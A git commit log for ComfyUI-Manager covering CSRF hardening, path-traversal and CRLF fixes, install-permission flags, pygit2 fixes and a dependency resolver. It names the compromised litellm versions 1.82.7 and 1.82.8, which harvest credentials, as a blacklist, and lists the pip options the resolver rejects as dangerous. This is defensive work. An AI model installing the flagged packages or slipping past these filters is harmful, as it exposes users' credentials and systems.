Compare commits

..
Author SHA1 Message Date
Dr.Lt.Data bd4ede2237 bump version 2026-06-15 02:41:52 +09:00
Dr.Lt.Data fca7ef149d feat(security): dedicated install flags decouple git_url/pip install from security_level (#2962)
* feat(security): dedicated install flags decouple git_url/pip from security_level

Install via git URL and pip install are no longer gated by
security_level. Each surface gets a dedicated config.ini flag —
allow_git_url_install / allow_pip_install (both default false, secure
by default) — that fully REPLACES the security-level term for these two
features. The network-position invariant is retained: a non-local
listener stays denied regardless of the flags unless
network_mode = personal_cloud.

- New pure predicate is_dedicated_install_allowed() in
  common/manager_security (no config access; callers resolve config)
- Legacy endpoints /v2/customnode/install/git_url and .../pip switch
  from is_allowed_security_level('high+') to the flag gate; batch
  installs of unknown git URLs likewise (middle+ entry gate unchanged,
  unknown-pip 'block' stays unconditional; response shapes preserved)
- Config readers/writers (glob + legacy) parse and persist the flags;
  denial logs and frontend 403 messages name the responsible flag and
  note the non-local-listener requirement (network_mode=personal_cloud)
- No auto-seed from security_level — users previously on weak/normal-
  must opt in explicitly (see CHANGELOG migration notes; README
  documents the new contract)
- Update the pre-existing permissive E2E harness
  (start_comfyui_permissive.sh + test_e2e_legacy_real_ops.py) to the
  new contract: it now also sets allow_git_url_install /
  allow_pip_install = true, since security_level = normal- alone no
  longer opens the git_url/pip endpoints

Tests: predicate truth table proving security_level independence in
both directions, dual-reader config contract, security-level-matrix
freeze guards, legacy gate regression guards (121 unit), plus 22
real-server E2E tests incl. URL-form pip install with self-clean.

* test(e2e): fix fresh-env failures in customnode_info and git_clone harnesses

Two pre-existing harness defects that fail deterministically on a fresh
E2E environment (unrelated to the dedicated-install-flags change):

- test_e2e_customnode_info: TestInstalledPacks asserted the seed pack
  ComfyUI_SigmoidOffsetScheduler is installed, but nothing seeded it —
  the installing module (test_e2e_endpoint) runs alphabetically later
  and uninstalls it at the end. Add a module-scoped autouse fixture
  that installs the pack via cm-cli BEFORE the server starts (the
  imported-mode test asserts against the startup-frozen snapshot, so
  API-based seeding after boot cannot work) and removes it on teardown
  only if the fixture installed it.
- test_e2e_git_clone: _ensure_cache ran cm-cli update-cache with a
  120s timeout; the full DB download routinely exceeds that on slow
  links, erroring the whole module at setup. Raise to 600s.

Verified from a fresh state (seed pack absent): both modules pass
(13 tests, incl. previously-failing TestInstalledPacks 2 and
TestNightlyInstallCycle 3).
2026-06-11 01:44:12 +09:00
Dr.Lt.Data 8b98723b42 fix(git_compat): follow-ups for pygit2 fallback hardening (#2974)
- Route list_remotes() fetch through _fetch_remote so the proxy and
  SSH-to-HTTPS rewrite apply to every fetch entry point, and provide
  pull on its proxies (parity with get_remote and the GitPython proxy)
  via a shared _pull_remote helper
- Rework _to_https_url: handle ssh://git@host:port/... URLs (drop the
  custom SSH port instead of mangling it into the path) and collapse
  leading slashes so git@host:/abs/path no longer yields a double-slash
  URL. Behavior narrowing: colon-less git@host/path (not a valid
  scp-form URL), ssh:// URLs with a port but no path, and IPv6 ssh://
  URLs are now returned unchanged instead of being wrongly converted
- clone_repo: omit the proxy= kwarg when no proxy is configured, so
  proxy-less installs keep working on pygit2 older than 1.18
- Simplify redundant except (KeyError, Exception) clause
- Require pygit2>=1.18 (clone_repository proxy= parameter)
- Add unit tests for _to_https_url (incl. negative cases pinning the
  narrowing) and a regression test that list_remotes proxies route
  fetch/pull through their own remote (late-binding guard)
2026-06-10 18:19:55 +09:00
Jedrzej KosinskiandAmp 622a7077a5 fix(git_compat): harden pygit2 fallback path; prefer system git when available (#2972)
* fix(git_compat): ignore global git config in pygit2 backend

Under Desktop 2.0 the launcher sets CM_USE_PYGIT2=1, so the pygit2 backend ran clone_repository/remote.fetch with no credentials callback and honored the user's global git config. An insteadOf rewrite (https->ssh) or credential helper then forced authentication, failing with 'authentication required but no callback set'.

Blank the system/global/XDG config search path at import time so libgit2 operations are hermetic, and normalize SSH-form GitHub URLs to anonymous HTTPS on clone and when opening a repo.

Amp-Thread-ID: https://ampcode.com/threads/T-019eafa0-16a1-726e-91a4-dac1a40d4481
Co-authored-by: Amp <amp@ampcode.com>

* fix(git_compat): preserve corporate http.proxy in pygit2 backend

Snapshot http.proxy from the global git config before blanking the config search path, then pass it explicitly (proxy=) to clone_repository and every remote.fetch() in the pygit2 backend, so corporate-lockdown proxy setups keep working after the insteadOf/SSH hardening.

Amp-Thread-ID: https://ampcode.com/threads/T-019eafa0-16a1-726e-91a4-dac1a40d4481
Co-authored-by: Amp <amp@ampcode.com>

* fix(git_compat): stop rewriting repo remotes on disk under pygit2 backend

Removing _normalize_remote_urls(): persistently rewriting a repo's SSH origin
to HTTPS mutates on-disk repo state, which is risky if interrupted. The pygit2
backend already neutralizes auth-forcing global config (insteadOf, credential
helpers) by blanking libgit2's config search path, so anonymous HTTPS fetch
works without touching the stored remote.

Manager already prefers the GitPython/system-git backend when a system git is
present (which honors the user's full git config including insteadOf https->ssh
and proxies), and only uses the bundled pygit2 when system git is absent or
CM_USE_PYGIT2=1 is set.

Amp-Thread-ID: https://ampcode.com/threads/T-019eafa0-16a1-726e-91a4-dac1a40d4481
Co-authored-by: Amp <amp@ampcode.com>

* fix(git_compat): fetch SSH-origin repos via in-memory anonymous HTTPS

Consolidate the five pygit2 fetch sites into a single _fetch_remote helper.
When a repo's stored origin is SSH-form (git@host:owner/repo), the bundled
pygit2 (no SSH transport) would fail with an auth error; fetch through an
in-memory anonymous remote over HTTPS instead, leaving .git/config untouched.
Also closes a proxy hole where get_remote() exposed remote.fetch without the
preserved http.proxy.

Validated against both backends (pygit2 1.19.2 + GitPython): all 47
git_compat tests pass; verified create_anonymous fetch updates
refs/remotes/origin/* without persisting any remote or rewriting origin.

Amp-Thread-ID: https://ampcode.com/threads/T-019eafa0-16a1-726e-91a4-dac1a40d4481
Co-authored-by: Amp <amp@ampcode.com>

---------

Co-authored-by: Amp <amp@ampcode.com>
2026-06-10 16:33:18 +09:00
Dr.Lt.Data 01799f8cac chore(release): 4.2.1 — register extension.manager.supports_csrf_post feature flag (#2823)
Lets clients detect CSRF-POST backend support via ComfyUI core's feature_flags
instead of parsing version strings. Absence of the flag indicates a Manager
version < 4.2.1 that is incompatible with POST-only state-mutation endpoints.

Follow-up to #2818; no endpoint or security behavior change.
2026-04-22 22:07:16 +09:00
Dr.Lt.Data 4410ebc6a6 fix(security): harden CSRF with Content-Type gate and expand E2E coverage (#2818)
Defense-in-depth over GET→POST alone: reject the three CORS-safelisted
simple-form Content-Types (x-www-form-urlencoded, multipart/form-data,
text/plain) on 16 no-body POST handlers (glob + legacy) to block
<form method=POST> CSRF that bypasses method-only gating. Move
comfyui_switch_version to a JSON body so the preflight requirement applies.
Split db_mode/policy/update/channel_url_list into GET(read) + POST(write).
Tighten do_fix (high → high+) and gate three previously-ungated config
setters at middle. Resynchronize openapi.yaml (27 paths, 30 operations,
ComfyUISwitchVersionParams as a shared $ref component). Add E2E harness
variants, Playwright config, CSRF/secgate suites, 39-endpoint coverage,
and a CHANGELOG.

Breaking: legacy per-op POST routes (install/uninstall/fix/disable/update/
reinstall/abort_current) are removed; callers already use queue/batch.
Legacy /manager/notice (v1) is removed; /v2/manager/notice is retained.

Reported-by: XlabAI Team of Tencent Xuanwu Lab
CVSS: 8.1 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H)
2026-04-22 05:04:30 +09:00
49e205acd4 feat: add pygit2 compatibility wrapper for standalone Desktop 2.0 installs (#2719)
* feat: add pygit2 compatibility wrapper for standalone Desktop 2.0 installs

Add git_compat.py abstraction layer that wraps both GitPython and pygit2
behind a unified GitRepo interface. When CM_USE_PYGIT2=1 is set (by the
Desktop 2.0 Launcher for standalone installs), or when system git is not
available, the pygit2 backend is used automatically.

Key changes:
- New comfyui_manager/common/git_compat.py with abstract GitRepo base class,
  _GitPythonRepo (1:1 pass-throughs) and _Pygit2Repo implementations
- All 6 non-legacy files updated to use the wrapper:
  - comfyui_manager/glob/manager_core.py (14 git.Repo usages)
  - comfyui_manager/common/git_helper.py (7 git.Repo usages)
  - comfyui_manager/common/context.py (1 usage)
  - comfyui_manager/glob/utils/environment_utils.py (2 usages)
  - cm_cli/__main__.py (1 usage)
  - comfyui_manager/common/timestamp_utils.py (repo.heads usage)
- get_script_env() propagates CM_USE_PYGIT2 to subprocesses
- git_helper.py uses sys.path.insert to find git_compat as standalone script
- All repo handles wrapped in context managers to prevent resource leaks
- get_head_by_name returns _HeadProxy for interface consistency
- Submodule fallback logs clear message when system git is absent
- 47 tests comparing both backends via subprocess isolation

Co-authored-by: Amp <amp@ampcode.com>
Amp-Thread-ID: https://ampcode.com/threads/T-019d0ec5-cb9f-74df-a1a2-0c8154a330b3

* fix(pygit2): address review findings + bump version to 4.2b1

- C1: add submodule_update() after pygit2 clone for recursive parity
- C2: check subprocess returncode in submodule_update fallback
- C3: move GIT_OPT_SET_OWNER_VALIDATION to module-level (once at import)
- H1: use context manager in git_pull() to prevent resource leaks
- Bump version to 4.2b1, version_code to [4, 2]
- Add pygit2 to dev dependencies and requirements.txt

* style: fix ruff F841 unused variable and F541 unnecessary f-string

---------

Co-authored-by: Amp <amp@ampcode.com>
Co-authored-by: Dr.Lt.Data <dr.lt.data@gmail.com>
2026-03-27 08:42:26 +09:00
Dr.Lt.Data 92e05fc767 fix(security): add litellm supply chain attack detection (PYSEC-2026-2) (#2732)
Add litellm==1.82.7 and litellm==1.82.8 to pip_blacklist and remediation
guide in security_check.py to detect compromised packages that harvest
credentials and exfiltrate via attacker-controlled server.

Also fixes two pre-existing issues in pip_blacklist scanning:
- Remove `break` that caused only the first blacklist match to be
  detected, missing additional threats in multi-infection scenarios
- Replace substring matching with set-based exact matching to prevent
  false positives on similar version strings (e.g. 1.82.70 vs 1.82.7)

Bump version to 4.1.
2026-03-26 04:17:50 +09:00
Dr.Lt.Data cd805b3202 fix: Windows git clone failures — URL reinstall + pipe deadlock + file lock (#2726)
Three fixes for Windows E2E failures:

1. cm_cli reinstall_node(): URL-based node specs used the full URL
   as lookup key, but internal dicts are keyed by repo basename or
   cnr_id. Use get_cnr_by_repo() for CNR-aware lookup with correct
   is_unknown flag.

2. git_helper.py gitclone(): disable tqdm progress when stderr is
   piped (sys.stderr.isatty() gate) to prevent pipe buffer deadlock.
   Also move stale directories from previous failed clones into
   .disabled/.trash/ before cloning (GitPython handle leak on Windows).

3. try_rmtree(): 3-tier deletion strategy for Windows file locks:
   retry 3x with delay, rename into .disabled/.trash/, then lazy-delete
   via reserve_script as final fallback.
2026-03-22 20:21:03 +09:00
Dr.Lt.Data 099aed1ad4 fix(git_helper): Windows subprocess crash fix + multiplatform E2E CI (#2717)
* fix(git_helper): surface git stderr and use portable exit code

- Redirect exception output to stderr for diagnostic visibility
- Surface GitCommandError.stderr when available
- Use sys.exit(1) instead of sys.exit(-1) for portable exit codes
- Remove debug print statements

* fix(e2e): cross-platform E2E tests with file-based stdout capture

- Cross-platform cm-cli path (Scripts/cm-cli.exe vs bin/cm-cli)
- File-based stdout/stderr capture to avoid Windows pipe buffer loss
- Rename uv-compile → uv-sync for standalone command refs
- Update conflict test packs: ansible → python-slugify/text-unidecode
- Add .trash_* cleanup and retry+rename for Windows file locks
- Add test_e2e_git_clone.py for nightly install via ComfyUI server
- Add setup_e2e_env.py cross-platform setup script

* feat(ci): add multiplatform E2E workflow (ubuntu/windows/macos)

Matrix: ubuntu-latest, windows-latest, macos-latest × Python 3.10
Triggers on push to main/feat/*/fix/* and PRs to main.

* bump version to 4.1b7
2026-03-21 09:24:35 +09:00
Dr.Lt.Data e129697151 bump version to the 4.1b6 2026-03-18 02:06:02 +09:00
Dr.Lt.Data cd60f33f6d fix(git_helper): remove comfyui_manager import to fix Windows subprocess crash (#2703)
git_helper.py is spawned as a standalone subprocess on Windows
(manager_core.py:1342). The import of comfyui_manager.common.timestamp_utils
triggered comfyui_manager/__init__.py which imports from comfy.cli_args —
unavailable in the subprocess environment, causing ModuleNotFoundError.

Inline get_backup_branch_name() using only stdlib (time, uuid), preserving
the original collision-detection and UUID-fallback semantics. Add 9 tests
covering standalone subprocess loading, behavioral equivalence, edge cases
(repo.heads exception, 99-suffix exhaustion with UUID fallback).
2026-03-18 02:04:48 +09:00
Dr.Lt.Data ddccefbc70 feat(cli): add update-cache command, purge reinstall fallback, and batch failure tracking (#2693)
Add `cm-cli update-cache` command that force-fetches all remote data
and populates local cache in blocking mode. Bypasses pip/offline guards
in get_data_by_mode and get_cnr_data by directly fetching channel JSON
files and calling reload('remote'). Solves permanent cold-start issue
where pip-installed cm-cli could never populate CNR cache without
running the web server first.

Add UnifiedManager.purge_node_state() to both glob and legacy packages
for reinstall categorization mismatch (e.g. unknown→nightly). Includes
path traversal protection via commonpath, root directory guard,
comfyui-manager self-protection, and finally-guarded dictionary cleanup.

Add NodeInstallError exception and batch failure tracking to
for_each_nodes: reinstall propagates install failures via
raise_on_fail, for_each_nodes catches NodeInstallError, tracks
failed nodes, reports aggregate summary, and exits non-zero.

Remove debug print in install_node.
Bump version to 4.1b5.

E2E verified:
- update-cache: empty cache (5 lines) → populated (7815 lines)
- reinstall batch: 2 packs, 1 failure → continues to 2nd → summary + exit 1
2026-03-15 09:45:25 +09:00
Dr.Lt.Data 3bc2e18f88 refactor(cli): rename standalone uv-compile command to uv-sync
The command performs collect→compile→install (full pipeline),
not just compile. uv-sync better reflects the actual behavior.

The --uv-compile flag on other commands (install, reinstall,
update, fix, etc.) is intentionally kept as-is: it reads as
a mechanism descriptor ("use uv pip compile to resolve deps")
rather than a reference to the standalone command name.
2026-03-14 08:50:12 +09:00
Dr.Lt.Data d7a2277017 feat(cli): expand --uv-compile to all node management commands with conflict attribution (#2682)
* feat(cli): expand --uv-compile to all node management commands with conflict attribution

Add --uv-compile flag to reinstall, update, fix, restore-snapshot,
restore-dependencies, and install-deps commands. Each skips per-node
pip installs and runs batch uv pip compile after all operations.

Change CollectedDeps.sources type to dict[str, list[tuple[str, str]]]
to store (pack_path, pkg_spec) per requester. On resolution failure,
_run_unified_resolve() cross-references conflict packages with sources
using word-boundary regex and displays which node packs requested each
conflicting package.

Update EN/KO user docs and DESIGN/PRD developer docs to cover the
expanded commands and conflict attribution output. Strengthen unit
tests for sources tuple format and compile failure attribution.
Bump version to 4.1b3.

* refactor(cli): extract _finalize_resolve helper, add CNR nightly fallback and pydantic guard

- Extract `_finalize_resolve()` to eliminate 7x duplicated uv-compile
  error handling blocks in cm_cli (~-85 lines)
- Move conflict attribution regex to `attribute_conflicts()` in
  unified_dep_resolver.py for direct testability
- Update 4 attribution tests to call production function instead of
  re-implementing regex
- Add CNR nightly fallback: when node is absent from nightly manifest,
  fall back to cnr_map repository URL (glob + legacy)
- Add pydantic Union guard: use getattr for is_unknown in uninstall
  and disable handlers to prevent Union type mismatch
- Add E2E test suites for endpoint install/uninstall and uv-compile
  CLI commands (conflict + success cases)
- Add nightly CNR fallback regression tests
2026-03-14 07:58:29 +09:00
Dr.Lt.DataandClaude Opus 4.6 f042d73b72 feat(deps): add unified dependency resolver using uv pip compile (#2589)
* feat(deps): add unified dependency resolver using uv pip compile

- Add UnifiedDepResolver module with 7 FRs: collect, compile, install pipeline
- Integrate startup batch resolution in prestartup_script.py (module scope)
- Skip per-node pip install in execute_install_script() when unified mode active
- Add use_unified_resolver config flag following use_uv pattern
- Input sanitization: reject -r, -e, --find-links, @ file://, path separators
- Handle --index-url/--extra-index-url separation with credential redaction
- Fallback to per-node pip on resolver failure or uv unavailability
- Add 98 unit tests across 20 test classes
- Add PRD and Design docs with cm_global integration marked as DEFERRED

* fix(deps): reset use_unified_resolver flag on startup fallback

When the unified resolver fails at startup (compile error, install
error, uv unavailable, or generic exception), the runtime flag was
not being reset to False. This caused subsequent runtime installs
to incorrectly defer pip dependencies instead of falling back to
per-node pip install.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* test(deps): add manual test cases for unified dependency resolver

Add environment setup guide and 16 test cases covering:
- Normal batch resolution (TC-1), disabled state (TC-2)
- Fallback paths: uv unavailable (TC-3), compile fail (TC-4),
  install fail (TC-5), generic exception (TC-16)
- install.py preservation (TC-6), runtime defer (TC-13)
- Input sanitization: dangerous patterns (TC-7), path separators
  (TC-8), index-url separation (TC-9), credential redaction (TC-10)
- Disabled pack exclusion (TC-11), no-deps path (TC-12)
- Both unified resolver guard paths (TC-14), post-fallback (TC-15)

Includes API reference, traceability matrix, and out-of-scope items.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(deps): prevent read_config() from overriding resolver fallback state

read_config() in manager_core.py unconditionally re-read
use_unified_resolver from config.ini, undoing the False set by
prestartup_script.py on resolver fallback. This caused runtime
installs to still defer deps even after a startup batch failure.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(deps): support multiple index URLs per line and optimize downgrade check

- Rewrite _split_index_url() to handle multiple --index-url /
  --extra-index-url options on a single requirements.txt line using
  regex-based parsing instead of single split.
- Cache installed_packages snapshot in collect_requirements() to avoid
  repeated subprocess calls during downgrade blacklist checks.
- Add unit tests for multi-URL lines and bare --index-url edge case.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* test(deps): add E2E scripts and update test documentation

Add automated E2E test scripts for unified dependency resolver:
- setup_e2e_env.sh: idempotent environment setup (clone ComfyUI,
  create venv, install deps, symlink Manager, write config.ini)
- start_comfyui.sh: foreground-blocking launcher using
  tail -f | grep -q readiness detection
- stop_comfyui.sh: graceful SIGTERM → SIGKILL shutdown

Update test documentation reflecting E2E testing findings:
- TEST-environment-setup.md: add automated script usage, document
  caveats (PYTHONPATH, config.ini path, Manager v4 /v2/ prefix,
  Blocked by policy, bash ((var++)) trap, git+https:// rejection)
- TEST-unified-dep-resolver.md: add TC-17 (restart dependency
  detection), TC-18 (real node pack integration), Validated
  Behaviors section, normalize API port to 8199

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(deps): harden input sanitization, expand test coverage, bump version

Security:
- Add _INLINE_DANGEROUS_OPTIONS regex to catch pip options after package
  names (--find-links, --constraint, --requirement, --editable, --trusted-host,
  --global-option, --install-option and short forms)
- Stage index URLs in pending_urls, commit only after full line validation
  to prevent URL injection from rejected lines

Tests:
- Add 50 new tests: inline sanitization, false-positive guards, parse
  helpers (_parse_conflicts, _parse_install_output), exception paths
  (91 → 141 total, all pass)

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* feat(cli): add uv-compile command and --uv-compile flag for batch dependency resolution

Add two CLI entry points for the unified dependency resolver:

- `cm_cli uv-compile`: standalone batch resolution of all installed
  node pack dependencies via uv pip compile
- `cm_cli install --uv-compile`: skip per-node pip, batch-resolve all
  deps after install completes (mutually exclusive with --no-deps)

Both use a shared `_run_unified_resolve()` helper that passes real
cm_global values (pip_blacklist, pip_overrides, pip_downgrade_blacklist)
and guarantees PIPFixer.fix_broken() runs via try/finally.

Update DESIGN, PRD, and TEST docs for consistency.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-07 06:51:53 +09:00
Dr.Lt.DataandClaude Opus 4.5 0d88a3874d refactor(cli): move cm_cli to top-level package and remove dead cli-only-mode (#2548)
- Move cm_cli from comfyui_manager/cm_cli/ to top-level cm_cli/ package
- Convert relative imports to absolute imports
- Remove non-functional cli-only-mode command (flag was never checked)
- Update docs: python cm-cli.py → cm-cli entrypoint
- Update prestartup snapshot restore to use -m cm_cli
- Version bump to 4.1b1

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-27 19:42:35 +09:00
Dr.Lt.Data ef8703a3d7 security(api): add path traversal and CRLF injection protection
- Add is_safe_path_target() and get_safe_file_path() utilities
- Validate history id and snapshot target parameters in API endpoints
- Sanitize config string values to prevent CRLF injection
2026-01-08 18:35:03 +09:00
Akhil Narayanan a4138a89ee Ignore Windows stderr flush errors (#2462) 2026-01-08 16:59:16 +09:00
Dr.Lt.Data f85a12f2a2 bump version to 4.0.4 2025-12-27 04:56:48 +09:00
GeorgeR 29216e96bd Fix for peername tuple size variability in get_client_ip (#2427)
ipv6 compatibility patch.
2025-12-27 04:53:17 +09:00
Dr.Lt.Data 3f0fc85b95 refactor(core): add verbose config, improve module lookup, fix is_valid_url
- Add verbose config option to control CNR fetch logging
- Improve get_module_name with cnr_id/aux_id fallback via repo_cnr_map
- Fix is_valid_url misuse of try/finally that could cause runtime errors
- Move SSH_URL_PATTERN to module-level constant for performance
2025-12-27 03:57:19 +09:00
Dr.Lt.Data b9def4cb6e refactor: remove preview_method and component legacy features
Preview Method Removal:
- Remove preview method UI from Manager settings panel
- Remove /v2/manager/preview_method API endpoint (legacy)
- Remove set_preview_method() and get_current_preview_method() functions
- Remove preview_method from config read/write operations
- Clean up latent_preview imports

Use ComfyUI Settings > Execution > Live preview method instead.

Component Feature Removal:
- Delete components-manager.js entirely
- Remove ComponentBuilderDialog, load_components, set_component_policy
- Remove component policy UI from Manager settings panel
- Remove /v2/manager/policy/component API endpoint
- Remove /v2/manager/component/save and /loads API endpoints
- Remove component_policy from config read/write operations
- Remove manager_components_path from context
2025-12-19 22:39:59 +09:00
DavidandDr.Lt.Data a7eb93fff0 Changed Main Dialog to match aesthetics and close button location as Original ComfyUI Interface (#2349)
* Started changing UI to match the rest of ComfyUI

Completed Main Container

* - Added layout formatting to components of the Manager dialog box
- Pulled name from select and put it into a label (eg "DB: Channel" now has a label of DB and a dropdown with channel, etc)
- Fixed incorrect z-index

* Removed this.close() I added before finding z-index issue.

* Matched buttons and drop downs to match style of ComfyUI interface while keeping the colours the same as OG ComfyUI Manager

* - Took gui building out and put into its own .js
- Applied theme to Nodes Manager
- Made theme respect user theme colors

* - Themed model manager and snapshot manager
- fixed incorrect id in gui builder

* Fix syntax error in color property

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-12-19 15:04:02 +09:00
Dr.Lt.Data a542695e9c chore: bump version to 4.0.3b6 and fix git_helper path
- Update version from 4.0.3b5 to 4.0.3b6 in pyproject.toml
- Fix git_helper.py path to include 'common' subdirectory in context.py
2025-12-18 18:45:31 +09:00
Dr.Lt.Data 2779c66b39 feat(version): apply semver-based version sorting to glob and add master fallback
- Apply PR #2334 changes to glob/manager_core.py (was only in legacy)
- Add master branch fallback when remote/HEAD reference is unavailable
2025-12-15 03:39:13 +09:00
Dr.Lt.Data 952613c07b fix(api): improve import_fail_info_bulk lookup for cnr_id and aux_id
- Add aux_id format (author/repo) support in normalize_to_github_id()
- Fix get_module_name() to use URL normalization for unknown_active_nodes
- Use NormalizedKeyDict in reload() to maintain normalized key lookup
2025-12-15 02:54:30 +09:00
75f27d99e2 ComfyUI version listing + nightly current fix (#2334)
* Improve comfyui version listing

* Fix ComfyUI semver selection and stable update

* Fix nightly current detection on default branch

* Fix: use tag_ref.name explicitly and cache get_remote_name result

- Use tag_ref.name instead of tag_ref object for checkout
- Cache get_remote_name() result to avoid duplicate calls

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

---------

Co-authored-by: Dr.Lt.Data <dr.lt.data@gmail.com>
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
2025-12-12 23:12:01 +09:00
Dr.Lt.DataandClaude Opus 4.5 8e8b6ca724 fix(git): handle divergent branches safely + datetime fallback
- Use --ff-only flag to detect non-fast-forward situations
- Create backup branch before resetting divergent local branch
- Reset to remote branch when fast-forward is not possible
- Add timestamp_utils.py for Mac datetime module compatibility
- Migrate all datetime usages to centralized utilities
- Bump version to 4.0.3b5

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2025-12-12 22:45:05 +09:00
Dr.Lt.Data 3425fb7a14 docs: update manager data path to __manager 2025-12-03 02:38:15 +09:00
Dr.Lt.Data c69e7bcf03 feat(security): use system user directory for manager data
Use folder_paths.get_system_user_directory("manager") to protect manager config and data from HTTP endpoint access.

Ref: comfyanonymous/ComfyUI#10966
2025-12-03 02:34:57 +09:00
Dr.Lt.Data 85ebcd9897 In response to the patch that separates manager_requirements.txt from requirements.txt, this update additionally refreshes manager_requirements.txt when it is present.
https://github.com/ltdrdata/ComfyUI/commit/79fb96488aa3842b9799a96e570535c6aed8e963
2025-11-26 22:35:03 +09:00
Dr.Lt.Data 69b6f1a66b Merge branch 'main' into manager-v4 2025-11-26 22:14:11 +09:00
Dr.Lt.Data e4a90089ab fixed: a bug where updating ComfyUI using Update: ComfyUI Stable Version did not updating ComfyUI's dependencies 2025-11-26 21:54:28 +09:00
Dr.Lt.Data 674b9f3705 update DB 2025-11-26 21:41:55 +09:00
Dr.Lt.Data 4941fb8aa0 fixed: scanner.py 2025-11-26 08:58:02 +09:00
Dr.Lt.Data 183af0dfa5 update DB 2025-11-25 12:59:01 +09:00
Dr.Lt.Data 45ac5429f8 "update DB" 2025-11-25 12:46:44 +09:00
Dr.Lt.Data c771977a95 update DB 2025-11-24 23:10:06 +09:00
Dr.Lt.Data 668d7bbb2c update DB 2025-11-24 22:56:38 +09:00
akawanaandDr.Lt.Data 926cfabb58 Add Keybinding Extra (keyboard shortcut extension) (#2306)
* Add Keybinding Extra custom node

Added a new custom node for Keybinding Extra with relevant details.

* Enhance description for Keybinding Extra

Updated the description for the Keybinding Extra to provide more detail about its functionality.

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-24 22:55:44 +09:00
Dr.Lt.Data a9a8d05115 update DB 2025-11-24 22:54:26 +09:00
Eric Rollei e368f4366a Add Download Tools for ComfyUI (#2298)
Added new download tools for ComfyUI with extensive features for media downloading and web scraping.
2025-11-24 22:51:50 +09:00
Dr.Lt.Data dc5bddbc17 update DB 2025-11-24 02:00:50 +09:00
icekiub-aiandDr.Lt.Data 358a480408 IcyHider Nodes (#2304)
* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-24 00:17:22 +09:00
Dr.Lt.Data c96fdb3c7a update DB 2025-11-22 10:36:00 +09:00
Dr.Lt.Data c090abcc02 update DB 2025-11-22 09:46:14 +09:00
kjqwer 1ff02be35f add node (#2282)
* add node

* add node
2025-11-22 09:45:21 +09:00
Dr.Lt.Data 10fbfb88f7 update DB 2025-11-22 09:43:20 +09:00
MadiatorLabs 9753df72ed Added ComfyUI-RunpodDirect to node list (#2291) 2025-11-22 09:41:54 +09:00
Dr.Lt.Data 095cc3f792 Merge PR #2297: Add PDF Tools and update AAA Metadata System
Resolved merge conflict with PR #2297 by integrating:
- PDF Tools - Advanced PDF Processing & OCR (new entry)
- AAA Metadata System (updated with enhanced description and metadata)
- HYPIR Image Restoration (preserved from main branch)

All entries use consistent spacing and JSON formatting.
2025-11-22 09:33:58 +09:00
Dr.Lt.Data 656171037b Update custom-node-list.json
HYPIR-ComfyUI was a separated PR.
2025-11-22 09:28:40 +09:00
Dr.Lt.Data 7ac10f9442 update DB 2025-11-22 09:25:07 +09:00
3925ba27b4 feat: Add HunyuanVideo-1.5 nodes (#2300)
* feat: Add HunyuanVideo-1.5 nodes

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <dr.lt.data@gmail.com>
Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-22 09:23:18 +09:00
Dr.Lt.Data 44ba79aa31 update DB 2025-11-22 09:15:50 +09:00
Eric Rollei 14d0e31268 Add HYPIR Image Restoration nodes to custom-node-list (#2299)
Added custom ComfyUI nodes for HYPIR image restoration, including details on author, title, reference, and description.
2025-11-22 09:12:27 +09:00
Dr.Lt.Data 033acffad1 update DB 2025-11-22 08:42:06 +09:00
WritiliandDr.Lt.Data d29ff808a5 I added my node to the JSON file (#2287)
* Update custom-node-list.json

Added my node to the JSON

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-22 08:40:35 +09:00
Dr.Lt.Data dc9b6d655b update DB 2025-11-22 08:40:02 +09:00
Casual Gamer d340c85013 feat: add ComfyUI Text Processor to node list (#2295) 2025-11-22 08:39:00 +09:00
Dr.Lt.Data e328353664 update DB 2025-11-21 00:33:43 +09:00
Eric Rollei 02785af8fd Merge pull request #2 from EricRollei/EricRollei-patch-1
Add HYPIR Image Restoration entry to custom-node-list
2025-11-20 01:39:02 -08:00
Eric Rollei 736ae5d63e Add HYPIR Image Restoration entry to custom-node-list
Added a new entry for HYPIR Image Restoration including author, title, reference, files, install type, description, and nodename pattern.
2025-11-20 01:38:39 -08:00
Eric Rollei e1eeb617d2 Merge pull request #1 from EricRollei/EricRollei-patch-1
Add AAA Metadata System entry to custom-node-list
2025-11-20 01:34:27 -08:00
Eric Rollei 23b6c7f0de Add AAA Metadata System entry to custom-node-list
Added a new entry for the AAA Metadata System with detailed features and installation instructions.
2025-11-20 01:34:04 -08:00
Eric Rollei 997f97e1fc Add PDF Tools for advanced PDF processing and OCR
Added a new entry for advanced PDF processing tools, including OCR and image parsing capabilities.
2025-11-20 01:10:01 -08:00
Dr.Lt.Data ff335ff1a0 update DB 2025-11-19 23:12:01 +09:00
Dr.Lt.Data cb3036ef81 modified: scanner.py – updated main so it can be imported 2025-11-19 22:43:28 +09:00
Dr.Lt.Data f762906188 update DB 2025-11-19 22:42:14 +09:00
cellzeroandDr.Lt.Data dde7920f8c Add ComfyUI-Animon node (#2293)
* Add ComfyUI-Animon node

* Update custom-node-list.json

* Remove and re-add ComfyUI-Animon entry in JSON

---------

